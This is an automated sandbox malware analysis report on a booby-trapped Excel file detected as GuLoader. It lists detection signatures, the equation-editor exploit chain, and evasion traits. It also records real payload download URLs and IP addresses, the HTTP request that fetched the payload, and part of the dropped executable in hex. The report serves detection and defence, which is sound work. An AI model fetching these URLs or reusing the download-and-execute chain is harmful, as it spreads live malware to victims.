Windows Analysis Report
TransportLabel_6170453602.xlsx

Overview

General Information

Sample Name: TransportLabel_6170453602.xlsx
Analysis ID: 624947
MD5: 1db66b406376f18434e1c02cbcf5c5e5
SHA1: 35741ca39d0d76a00fac1eaa720101d7bfd82cc5
SHA256: a561efadb6bab1e3d4f5b0cdefaecc0c4afb382bfe3bde81e1dad0aefc76695c
Tags: VelvetSweatshopxlsx
Infos:

Detection

GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Sigma detected: EQNEDT32.EXE connecting to internet
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Sigma detected: File Dropped By EQNEDT32EXE
Antivirus detection for URL or domain
Multi AV Scanner detection for dropped file
Yara detected GuLoader
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Shellcode detected
Office equation editor drops PE file
Tries to detect virtualization through RDTSC time measurements
C2 URLs / IPs found in malware configuration
Office equation editor establishes network connection
Drops PE files to the user root directory
May sleep (evasive loops) to hinder dynamic analysis
Contains functionality to shutdown / reboot the system
Uses code obfuscation techniques (call, push, ret)
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
Downloads executable code via HTTP
Abnormal high CPU Usage
Potential document exploit detected (unknown TCP traffic)
PE file contains strange resources
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Contains functionality to download and execute PE files
Office Equation Editor has been started
Contains functionality to download and launch executables
PE file contains more sections than normal
Drops PE files to the user directory
Potential document exploit detected (performs HTTP gets)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)
Contains functionality for read data from the clipboard

Classification

AV Detection
barindex
Found malware configuration
Source: 00000004.00000002.1159273046.0000000003A50000.00000040.00001000.00020000.00000000.sdmp Malware Configuration Extractor: GuLoader {"Payload URL": "http://barsam.com.au/bin_QuCucbUMda229.bin"}
Multi AV Scanner detection for submitted file
Source: TransportLabel_6170453602.xlsx ReversingLabs: Detection: 39%
Antivirus detection for URL or domain
Source: http://103.149.13.182/msdrive10/.svchost.exe Avira URL Cloud: Label: malware
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\.svchost[1].exe Metadefender: Detection: 14% Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\.svchost[1].exe ReversingLabs: Detection: 23%

Exploits
barindex
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe Jump to behavior
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 103.149.13.182 Port: 80 Jump to behavior
Office Equation Editor has been started
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: D:\SourceCode\GC3.UserExperienceImprovement\production_V4.2\Service\ServiceSDK\Release\UserExperienceImprovementPlugin\AsSQLHelper.pdb source: AsSQLHelper.dll.4.dr
Source: Binary string: D:\SourceCode\GC3.Overclocking\production_V4.2\Service\ServiceSDK\Release\ThrottlePlugin\AEGISIIINVHelper.pdb source: AEGISIIINVHelper.dll.4.dr
Source: C:\Users\Public\vbc.exe Code function: 4_2_00406850 FindFirstFileW,FindClose, 4_2_00406850
Source: C:\Users\Public\vbc.exe Code function: 4_2_00405C26 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 4_2_00405C26
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040290B FindFirstFileW, 4_2_0040290B

Software Vulnerabilities
barindex
Shellcode detected
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0357051B ShellExecuteExW,ExitProcess, 2_2_0357051B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03570435 LoadLibraryW,URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_03570435
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035704BA URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_035704BA
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035703C5 URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_035703C5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0357044F URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_0357044F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03570390 ExitProcess, 2_2_03570390
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03570504 ShellExecuteExW,ExitProcess, 2_2_03570504
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03570539 ExitProcess, 2_2_03570539
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035703A9 URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_035703A9
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 103.149.13.182:80
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 103.149.13.182:80
Source: excel.exe Memory has grown: Private usage: 8MB later: 62MB

Networking
barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://barsam.com.au/bin_QuCucbUMda229.bin
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: VNPT-AS-VNVIETNAMPOSTSANDTELECOMMUNICATIONSGROUPVN VNPT-AS-VNVIETNAMPOSTSANDTELECOMMUNICATIONSGROUPVN
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 12 May 2022 07:27:56 GMTServer: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28Last-Modified: Tue, 10 May 2022 23:41:34 GMTETag: "4fcbf-5deb0dd783b2f"Accept-Ranges: bytesContent-Length: 326847Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a8 21 60 47 ec 40 0e 14 ec 40 0e 14 ec 40 0e 14 2f 4f 51 14 ee 40 0e 14 ec 40 0f 14 49 40 0e 14 2f 4f 53 14 e3 40 0e 14 b8 63 3e 14 e0 40 0e 14 2b 46 08 14 ed 40 0e 14 52 69 63 68 ec 40 0e 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 68 9a 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 68 00 00 00 12 3a 00 00 08 00 00 0a 35 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 c0 3e 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 85 00 00 a0 00 00 00 00 60 3d 00 08 59 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 70 66 00 00 00 10 00 00 00 68 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9a 13 00 00 00 80 00 00 00 14 00 00 00 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 78 eb 39 00 00 a0 00 00 00 06 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 d0 02 00 00 90 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 08 59 01 00 00 60 3d 00 00 5a 01 00 00 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /msdrive10/.svchost.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 103.149.13.182Connection: Keep-Alive
Contains functionality to download and execute PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03570435 LoadLibraryW,URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_03570435
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: EQNEDT32.EXE, 00000002.00000002.957930611.0000000000544000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com equals www.linkedin.com (Linkedin)
Source: EQNEDT32.EXE, 00000002.00000002.957930611.0000000000544000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
Source: EQNEDT32.EXE, 00000002.00000002.957930611.0000000000544000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://103.149.13.182/msdrive10/.svchost.exe
Source: EQNEDT32.EXE, 00000002.00000002.957930611.0000000000544000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://103.149.13.182/msdrive10/.svchost.exeigh
Source: EQNEDT32.EXE, 00000002.00000002.958094475.0000000003570000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://103.149.13.182/msdrive10/.svchost.exej
Source: EQNEDT32.EXE, 00000002.00000002.957930611.0000000000544000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://103.149.13.182/msdrive10/.svchost.exemmC:
Source: vbc.exe, 00000004.00000002.1159106607.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr, AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: vbc.exe, 00000004.00000002.1159106607.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr, AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://crl.globalsign.com/gsextendcodesignsha2g3.crl0
Source: AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://crl.globalsign.com/root-r3.crl0b
Source: AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://crl.globalsign.com/root.crl0G
Source: vbc.exe, 00000004.00000002.1159106607.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: vbc.exe, 00000004.00000002.1159106607.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr, AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: vbc.exe, 00000004.00000002.1159106607.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr, AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: vbc.exe, 00000004.00000002.1159106607.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr, AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: vbc.exe, 00000004.00000002.1159106607.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr, AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: vbc.exe, 00000004.00000002.1159106607.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: EQNEDT32.EXE, 00000002.00000002.957995043.0000000000602000.00000004.00000020.00020000.00000000.sdmp, vbc.exe, 00000004.00000002.1158973699.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vbc.exe, 00000004.00000000.957102265.000000000040A000.00000008.00000001.01000000.00000004.sdmp, .svchost[1].exe.2.dr, vbc.exe.2.dr String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: vbc.exe, 00000004.00000002.1159106607.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr, AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: vbc.exe, 00000004.00000002.1159106607.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr, AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://ocsp.digicert.com0O
Source: AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://ocsp.globalsign.com/rootr103
Source: vbc.exe, 00000004.00000002.1159106607.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr String found in binary or memory: http://ocsp.sectigo.com0
Source: AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://ocsp2.globalsign.com/gsextendcodesignsha2g30U
Source: AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://secure.globalsign.com/cacert/gsextendcodesignsha2g3ocsp.crt0
Source: vbc.exe, 00000004.00000002.1159106607.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr, AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: vbc.exe, 00000004.00000002.1159106607.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr String found in binary or memory: https://sectigo.com/CPS0C
Source: vbc.exe, 00000004.00000002.1159106607.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr, AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: https://www.digicert.com/CPS0
Source: AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: https://www.globalsign.com/repository/0
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FE386947.emf Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03570435 LoadLibraryW,URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_03570435
Source: global traffic HTTP traffic detected: GET /msdrive10/.svchost.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 103.149.13.182Connection: Keep-Alive
Contains functionality for read data from the clipboard
Source: C:\Users\Public\vbc.exe Code function: 4_2_004056BB GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard, 4_2_004056BB

System Summary
barindex
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 8 Screenshot OCR: document is protected 17 18 ~ 19 20 ~ m p 21 e m m 22 23 0 , G) Open the document In If thi
Source: Screenshot number: 8 Screenshot OCR: protected documents the yellow bar above 26 27 28 0 q 29 Nr g I , )) -: .- .b > " 35 36
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\.svchost[1].exe Jump to dropped file
Contains functionality to shutdown / reboot the system
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040350A EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 4_2_0040350A
Detected potential crypto function
Source: C:\Users\Public\vbc.exe Code function: 4_2_734F1BFF 4_2_734F1BFF
Abnormal high CPU Usage
Source: C:\Users\Public\vbc.exe Process Stats: CPU usage > 98%
PE file contains strange resources
Source: .svchost[1].exe.2.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vbc.exe.2.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
PE file contains more sections than normal
Source: wxbase30u_xml_gcc_custom.dll.4.dr Static PE information: Number of sections : 12 > 10
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: TransportLabel_6170453602.xlsx ReversingLabs: Detection: 39%
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe" Jump to behavior
Source: C:\Users\Public\vbc.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040350A EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 4_2_0040350A
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\~$TransportLabel_6170453602.xlsx Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVR581D.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winXLSX@4/26@0/1
Source: C:\Users\Public\vbc.exe Code function: 4_2_004021AA CoCreateInstance, 4_2_004021AA
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 4_2_00404967 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW, 4_2_00404967
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: D:\SourceCode\GC3.UserExperienceImprovement\production_V4.2\Service\ServiceSDK\Release\UserExperienceImprovementPlugin\AsSQLHelper.pdb source: AsSQLHelper.dll.4.dr
Source: Binary string: D:\SourceCode\GC3.Overclocking\production_V4.2\Service\ServiceSDK\Release\ThrottlePlugin\AEGISIIINVHelper.pdb source: AEGISIIINVHelper.dll.4.dr

Data Obfuscation
barindex
Yara detected GuLoader
Source: Yara match File source: 00000004.00000002.1159273046.0000000003A50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\Public\vbc.exe Code function: 4_2_734F30C0 push eax; ret 4_2_734F30EE
PE file contains sections with non-standard names
Source: wxbase30u_xml_gcc_custom.dll.4.dr Static PE information: section name: .xdata
Contains functionality to dynamically determine API calls
